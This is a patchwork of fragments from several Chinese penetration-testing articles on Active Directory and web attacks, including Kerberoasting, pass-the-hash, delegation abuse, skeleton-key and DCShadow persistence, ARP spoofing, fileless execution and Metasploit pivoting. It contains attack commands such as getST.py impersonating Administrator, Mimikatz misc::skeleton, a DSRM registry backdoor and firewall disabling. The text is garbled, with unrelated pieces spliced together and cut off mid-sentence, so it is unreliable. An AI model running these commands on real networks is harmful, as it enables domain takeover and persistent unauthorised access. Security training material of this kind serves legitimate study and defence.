防御方法1、更改Session名称:PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,可以阻挡部分攻击2、关闭透明化 攻击步骤通常包括:1、攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态;2、目标用户携带攻击者设定的SessionID登录站点;3、攻击者通过Session lD获得合法会话。 重置SessionlD的方式2使用HTML的<META>标签加Set-Cookie属性。 防御方法1、每当用户登陆的时候就进行重置Session ID2、Session lD闲置过久时,进行重置Session ID3、大部分防止会话劫持的方法对会话固定攻击同样有效。 本文档所提供的信息仅用于教育目的及在获得明确授权的情况下进行渗透测试。任何未经授权使用本文档中技术信息的行为都是严格禁止的,并可能违反《中华人民共和国网络安全法》及相关法律法规。
以下文章来源于安全加 ,作者谢公子 作者:谢公子 CSDN安全博客专家,擅长渗透测试、Web安全攻防、红蓝对抗。 Kerberoast攻击 kerberoast攻击发生在kerberos协议的TGS_REP阶段,关于kerberos协议详情,传送门:内网渗透 | 域内认证之Kerberos协议详解 Kerberoast 2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。 SPN服务主体名称的发现 传送门:域渗透之SPN服务主体名称 请求服务票据 使用Rubeus请求 Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用 tgsrepcrack.py password.txt xx.kirbi tgscrack python2 extractServiceTicketParts.py 1-40a00000-hack\@
重要声明 该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关 我们今天进行一些理论知识的学习 顺便大家可以趁这段时间好好练习一下实战的操作 到这里我们想大家都已经成功进入了一台服务器或者获得了部分权限 不然就谈不上后渗透攻击了 后渗透攻击该做什么? ? ,固定格式 16 表示年份,即2016年发布的漏洞 001 表示顺序,即当年度发布的第1个漏洞 Windows提权exp使用方法: 将exp执行即可,一般情况下是使用cmd.exe来执行 在日常渗透测试过程中
---- 我被渗透攻击了 人在家中坐,锅从天上来 本来明天是周末 今天我还在安静的敲着代码 想着晚上和女朋友去哪里吃饭 结果甲方一个紧急催命电话就打过来了 “我们被攻击了” 厚厚的一份报告 收到一份攻击渗透报告 里面描述了系统的诸多漏洞 看看目录上的一个个“高危” 感觉系统不堪一击啊 仔细看看内容: 1.目录浏览漏洞 访问时居然会列出目录 一查,是minio的锅 默认启动时 list dir 是打开的 这个必须关闭 2. 诶不对 那试试888888 诶还不对 再试试 @#¥¥#%……@¥% ---10分钟后--- 算了还是找回密码吧 所以,我们需要在强密码和记忆方面找一个平衡 典型弱密码 网上有很多典型弱密码的攻击字典 QAZ2wsx !QAZxsw2 123qweASD 1qaz!
前言 在内网渗透过程中,当获取到某个管理员用户的密码 hash 值却无法解密时,可以通过哈希传递攻击(Pass The Hash)对内网其他机器进行横向渗透。 0x01 哈希传递攻击 哈希传递攻击(Pass The Hash)是基于 NTLM 认证缺陷的一种攻击方式,攻击者可以利用用户的密码哈希值来进行 NTLM 认证。 如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击的手段登录到内网中的其他计算机。 通过哈希传递攻击,攻击者不需要花时间破解密码哈希值来获取明文密码。 尤其是在 Windows Server 2012 R2 及之后的版本的操作系统中,默认在内存中不会记录明文密码,因此攻击者往往会使用工具将哈希值传递到其他计算机中进行权限验证,实现对其他远程计算机的控制 域环境: 只有域管理员组内用户(可以是域管理员组内非 Administrator 用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域环境内任何一台机器。
1.2委派的分类:委派攻击分为三种攻击手段分别是非约束委派 攻击、约束委派攻击、基于资源委派攻击非约束委派攻击:在域内只有主机账号和服务账号才有委派属性 主机账号:活动目录中的computers组内的计算机 从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。 S4U2self可以代表自身请求针对其自身的可转发的Kerberos服务票据(ST1) ; S4U2proxy可以以用户的名义请求其它服务的ST2 ,约束委派就是限制了S4U2proxy扩展的范围。 S4U2proxy (拿用户的可转发的ST1请求用于访问服务器的ST2) 该拓展作用是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2,这张ST2的身份还是用户的,这样的话网站A kerberos预认证不使用DES或RC4等加密算法(尽量使用AES256)同样能够预防Kerberoast攻击
这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。 如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。 这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法 一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。 在Sapphire Ticket方法中,另一个强大用户的PAC是通过S4U2self+u2u技巧获得的。然后,该 PAC 会替换合法票证中的 PAC。 在一个域林中,域控权限不是终点,根域的域控权限才是域渗透的终点。 突破限制 普通的黄金票据被限制在当前域内,在2015年Black Hat USA中国外的研究者提出了突破域限制的增强版的黄金票据。
引入了两个新的概念 S4U2Self和S4U2Proxy S4U2self 允许受约束委派的服务代表任意用户向KDC请求服务自身,从而获得一张该用户(任意用户)的对当前受约束委派服务的票据TGS(ST) \10.150.127.166 5 21 1400638014 602433399 2258725660 1146 可以看到 用户是many WEB是被many加入域的 利用方式1:基于资源的约束委派攻击本地提权 \@10.150.127.186 10.150.127.128 然后申请票据 python3 getST.py haishi.com/test2\$:123456 -spn CIFS/DC2.haishi.com -impersonate Administrator -dc-ip 10.150.127.166 导入 成功接管域控 ntlm-relay攻击的前提是,smb认证获取的机器没有开启smb签名 cve -2019-1040 在这里的作用是绕过了mic检验 因为打印机触发的是smb协议 域控是默认带有smb签名的 而cve漏洞在这里就刚好绕过了mic的检验 然后完成了ntlm-relay攻击 利用方式
域持久性 必须以DA权限运行 Mimikatz攻击 DC运行为所有用户启用密码 "mimikatz" privilege::debug misc::skeleton 使用 New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'root\cimv2' DAMP 修改 cached credentials (if any) Get-RemoteCachedCredential -ComputerName DC01 DCShadow DCShadow是一种攻击 作为域管理员,可以选择给一个选定的用户以DCShadow攻击所需的权限(使用Set-DCShadowPermissions.ps1 cmdlet) Set-DCShadowPermissions -FakeDC
一、什么是中间人攻击? 中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间 ,这台计算机就称为“中间人” 我们这一篇主要采用ARP欺骗手段来做中间人攻击 二、正文 1)实验目的 学习ARP欺骗的作用和用法; 如何实验ARP欺骗. 2)实验背景 你是一名cracker,最近你盯上了一位坏人在非法钓鱼的网站做些非法勾当 ,你作为正义使者你要渗透到他们的中间盗取他账号,从而渗透到后台成功破坏钓鱼网站 3)实验设备 kali 1台,windows Server 2003 1台;客户机 windows 7 (kali安装后续会讲解 ) 4)实验配置 1.实验设备均在VMnet 2中 2.实验设备IP Kali ip地址:10.1.1.2/24 Windows Server 2003 ip地址:10.1.1.3/24 DNS:10.1.1.3
欢迎关注我的微信公众号《壳中之魂》 大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关的密码散列值(通常是 NTLM Hash)来进行攻击。 在Windows Server2012R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。 dir=in localport=3389 action=allow netsh advfirewall set allprofiles state off //关闭防火墙 使用msf 使用后渗透模块 Restricted Admin Mode在Windows 8.1和 WindowsServer 2012 R2上默认开启。 我们在渗透过程中可以通过修改注册表的方式开启目标主机的Restricted Admin Mode,值为 0 代表开启,值为 1 代表关闭: REG ADD "HKLM\System\CurrentControlSet
前言 在前面一篇文章已经对内网信息收集做了详细介绍,所需要的内网环境也包含在那篇文章中,接下来将以前期内网信息收集到的信息为基础介绍各种明文或hash传递攻击进行横向渗透。 下载地址: https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec 主要有以下两种攻击方法 1.Psexec需建立ipc链接进行横向渗透 /administrator@192.168.3.144 二、利用impacket中的工具包进行横向渗透 1.PSExec(非官方自带)工具进行横向渗透 为了解决无法获取明文进行传递攻击的问题,使用非官方自带的 /administrator@192.168.3.144 2.smbexec实现无需建立ipc链接传递明文进行横向渗透 smbexec ./administrator:admin! 1326:账号密码错误 (7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况 (8)2242:用户密码过期,目标有账号策略,强制定期更改密码 总结 在这里几乎将明文和hash传递横向渗透攻击写完了
文章前言 所谓的"无文件落地攻击"是指恶意程序文件不直接落地到目标系统的磁盘空间中的一种攻击手法,常用于逃避传统的安全检测机制,本篇文章将就此进行简要介绍几种目前比较流行的无文件落地攻击手法。 ,下面是具体的步骤: Step 1:使用msf的exploit/windows/misc/hta_server模块进行测试 Step 2:在目标主机上直接执行以下命令实现无文件落地攻击 mshta.exe Managementd的缩写,是一种允许管理员远程执行系统管理任务的服务,通信通过http(5985)或https soap(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证,在内网渗透中不仅可以用于横向移动 测试环境 域内主机:Windows Server 2012(192.168.174.2) 域内主机:Windows Server 2008 R2(192.168.174.4) 攻击主机:Kali Linux 7:在Windows Server 2012中执行以下命令来实现无文件落地攻击 winrm invoke create wmicimv2/win32_process @{commandline="\\
无论是渗透测试人员还是诈骗专家、身份窃贼、商业合作伙伴等。 攻击过程 社会工程学工程师通常会采用这些方法来有效获取目标的有关信息和访问权限: (1)情报收集:多种技术都可以用于找到最容易攻破的渗透测试目标。 (2)识别漏洞:一旦选定了关键线人,接下来就开始与对方建立信任关系和友谊。这样就可以在不伤害、不惊动目标的情况下,截获被测单位的机密信息。保持行动的隐蔽性和保密性,对于整个过程来说至关重要。 完成这一步之后,社会工程师掌握了充分的信息,甚至可以范围被测单位的内部系统,这些成果足以让他们进一步地渗透被测试的单位。在成功执行攻击计划之后,社会工程学的攻击就可宣告结束。 (2)投桃报李 通过利益交换的方式达成双方各自利益的行为,成为投桃报李。这类攻击需要长期业务合作达成的非正式关系。利用公司之间的信任关系,可以轻松的获取特定信息的目标人员。
这套环境里面的192.168.1.108是黑客的kali攻击机,192.168.1.212是黑客的windows攻击机 科普下nishang和PowerSploit 1、Nishang是基于PowerShell 的渗透测试专用工具。 这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值。 包括了下载和执行、键盘记录、dns、延时命令等脚本 2、PowerSploit是又一款Post Exploitation 相关工具,Post Exploitation是老外渗透测试标准里面的东西,就是获取 * 科普一下csrf的攻击:CSRF:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF,简单来说攻击者盗用了你的身份,以你的名义发送恶意请求
与s4u2proxy协议,以增加安全性。 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下 ? 注意,我们需要的是机器账户,原因是攻击的流程中会使用到S4U2Self协议,它只适用于有SPN账户,而不同账户是没有SPN的 获得一个可以修改msDS-AllowedToActOnBehalfOfOtherIdentity 基于资源的委派攻击 首先先登录刚才创建的join用户 1、查找可以攻击的目标 假设我们拿到一个域用户的帐户,我们想要进行基于资源的委派攻击,首先要先查看一下当前账户可以修改谁的msDS-AllowedToActOnBehalfOfOtherIdentity )的理解_Shanfenglan's blog-CSDN博客 域渗透——Kerberos委派攻击 - 先知社区 (aliyun.com) kerberos委派详解 - FreeBuf网络安全行业门户 (
前言 经过前面的学习操作,我们已经 拿到一台服务器的权限了,然后通过查看靶机的网络信息,发现是双网卡,就是说是两层网络,通过kali是不能直接与另外一台服务器通信的,所以我们需要用这个靶机做代理跳板去攻击第二层网络的靶机 post/windows/gather/arp_scanner RHOSTS=1.1.2.0/24 //扫描该网段下存活的主机 实战演练 1.在meterpreter下先查看路由表 命令:route 2. [aru_31] 5.最后利用代理打开msf进行跳板攻击 启动命令:proxychains msfconsole 使用ms17-010漏洞(因为是事先准备好的靶机,所以知道存在什么漏洞,不知道的情况下 ,大家只有去扫了) 注意:因为这里我们是用的代理去进行攻击的,所以payload需要设置成bind的,如:windows/x86/meterpreter/bind_tcp 设置好相关参数直接攻击就可以了 (通过代理攻击成功,已经拿到1.1.2.1的权限[aru_23]) 总结 自己胡乱搭建的内网环境,中间也出现了一些问题,不过还算是成功了吧,写的比较乱,如果发现二层网络里还有其他网络的话就需要进行多层跳板代理
越权问题是指应用程序对访问请求的权限检查出现漏洞,使攻击者在使用了未获得权限的用户账户之后,以某种方式绕过权限检查,以访问或操作其他用户或更高权限者的对象。 越权漏洞只能是通过渗透测试服务来手动检测才能检测出问题来,如果想要进行更详细的安全测试的话推荐国内网站安全公司SINESAFE,鹰盾安全,绿盟,大树安全等等这些安全公司来做详细的渗透测试服务。
作者:谢公子 CSDN安全博客专家,擅长渗透测试、Web安全攻防、红蓝对抗。 AS-REP Roasting攻击 AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。 但是该攻击方式利用比较局限,因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。 当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。 因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。 2:所以要想获取 "不需要kerberos预身份验证" 的域内账号,只能通过枚举用户名的方式来获得。而AS-REP Hash方面。非域内的主机,只要能和DC通信,便可以获取到。
kerberoasting 前言 往期文章: 内网渗透 | Kerberos 协议与 Kerberos 认证原理 内网渗透 | Kerberos 协议相关安全问题分析与利用 在上一篇文章《内网渗透测试 :Kerberos 协议相关安全问题分析与利用》中,我们详细介绍了多种基于 Kerberos 协议进行的攻击,本节我们再来对 Kerberoast 攻击做一下介绍。 SPN 的识别与发现是 kerberoasting 攻击的第一步。 请求服务票据New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/pc2. MySQL"klist # 列出服务票据 使用 Mimikatz 工具请求 可以使用 Mimikatz 请求指定 SPN 的服务票据 kerberos::ask /target:MySQL/PC2.